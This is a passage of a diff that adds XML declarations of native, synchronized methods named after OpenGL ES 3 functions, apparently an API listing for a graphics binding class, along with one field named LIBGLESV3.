+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glActiveShaderProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDispatchCompute" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glInvalidateSubFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawRangeElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLinkProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShaderProgramv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunciEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteri64v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendBarrierKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteSamplers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramPipelineiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferfi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetQueryiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPatchParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMaskSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetDebugMessageLogKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3DMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArraysIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFlushMappedBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparatei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnablediEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glResumeTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramPipelineInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsInstancedBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetInternalformativ" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMemoryBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArraysInstanced" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage2DMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenTransformFeedbacks" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexLevelParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTextureLayer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageInsert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnableiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBeginQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPrimitiveBoundingBox" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glObjectPtrLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFragDataLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderPrecisionFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetSynciv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBeginTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindImageTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glReleaseShaderCompiler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPopDebugGroupKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyImageSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindTransformFeedback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawRangeElementsBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDetachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisableiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegeri_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMinSampleShading" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPatchParameteriEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTransformFeedbackVarying" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformBlockBinding" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribIPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointervKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageControlKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetStringi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniformsiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOpSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribDivisor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferRangeEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTextureEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glAttachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlitFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparateiEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBGLESV3" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSampleMaski" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyImageSubDataEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCreateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
